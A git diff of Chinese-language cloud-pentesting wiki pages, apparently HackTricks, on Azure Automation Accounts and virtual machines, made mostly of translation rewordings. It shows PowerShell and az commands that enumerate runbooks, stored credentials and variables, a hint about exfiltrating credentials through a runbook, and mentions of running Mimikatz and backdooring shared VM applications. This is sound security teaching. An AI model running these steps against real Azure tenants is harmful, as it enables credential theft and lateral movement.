+--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## 权限提升与后期利用 + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 9462f656f..ac45ecb2f 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -4,7 +4,7 @@ ## Azure 网络基本信息 -Azure 网络包含 **不同的实体和配置方式。** 您可以在以下位置找到不同 Azure 网络实体的简要 **描述、** **示例** 和 **枚举** 命令: +Azure 网络包含 **不同的实体和配置方式。** 您可以在以下内容中找到不同 Azure 网络实体的简要 **描述、** **示例** 和 **枚举** 命令: {{#ref}} az-azure-network.md @@ -16,12 +16,12 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许 ### 安全配置 -- **可用性区域**:可用性区域是特定 Azure 区域内的不同数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。 +- **可用性区域**:可用性区域是特定 Azure 区域内的独立数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。 - **安全类型**: - **标准安全**:这是默认的安全类型,不需要任何特定配置。 - **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。 - **机密虚拟机**:在受信任启动的基础上,它提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。** -- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置使用 **密码。** +- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置为使用 **密码。** - **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。 - 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。 - **NIC 网络安全组**: @@ -39,7 +39,7 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许 - 网络总出站大于 200GB - VmAvailabilityMetric 小于 1 - **健康监控**:默认检查协议 HTTP 在 80 端口 -- **锁定**:允许锁定 VM,使其只能被读取(**只读**锁定)或可以被读取和更新但不能被删除(**不能删除**锁定)。 +- **锁定**:允许锁定 VM,使其只能被读取(**只读**锁定)或可以被读取和更新但不能删除(**不能删除**锁定)。 - 大多数与 VM 相关的资源 **也支持锁定**,如磁盘、快照... - 锁定也可以应用于 **资源组和订阅级别** @@ -77,7 +77,7 @@ Get-AzDisk -Name -ResourceGroupName ## 图像、图库图像和还原点 一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\ -图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 并 **跨租户共享** 图像,甚至可以公开。 +图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 和 **共享** 图像,跨租户共享甚至公开。 一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。 @@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` -## 在虚拟机中执行代码 +## 代码执行在虚拟机中 ### 虚拟机扩展 -Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VM) 上。 +Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。 这将允许 **在虚拟机内部执行任意代码**。 @@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) 这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**: ```powershell @@ -603,13 +603,13 @@ Set-AzVMDscExtension ` 混合运行簿工作者 -这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/)。 +这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
### 虚拟机应用程序 -这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在虚拟机中添加和删除应用程序。 +这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松添加和删除虚拟机中的应用程序。 ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -622,7 +622,7 @@ az sig gallery-application list --gallery-name --resource-group < - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -查看如何在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) 中安装新应用程序 +查看如何安装新应用程序在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] > 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。 @@ -721,7 +721,7 @@ az vm application set \ ### 用户数据 -这是**持久数据**,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为**如果您将脚本放在这里,它不会默认执行**。 +这是**持久数据**,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为**如果您在这里放置脚本,它不会默认执行**。 ### 自定义数据 @@ -731,7 +731,7 @@ az vm application set \ - 在**Linux**中,它存储在`/var/lib/waagent/ovf-env.xml`中,现在存储在`/var/lib/waagent/CustomData/ovf-env.xml`中。 - **Linux代理**:默认情况下不处理自定义数据,需要启用数据的自定义映像。 - **cloud-init**:默认情况下处理自定义数据,这些数据可以是[**多种格式**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)。它可以轻松执行脚本,只需将脚本发送到自定义数据中。 -- 我尝试过让Ubuntu和Debian执行您放在这里的脚本。 +- 我尝试过,Ubuntu和Debian都会执行您放置在这里的脚本。 - 也不需要启用用户数据才能执行此操作。 ```bash #!/bin/sh @@ -796,7 +796,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md {{#endref}} -## 后期利用 +## 利用后 {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md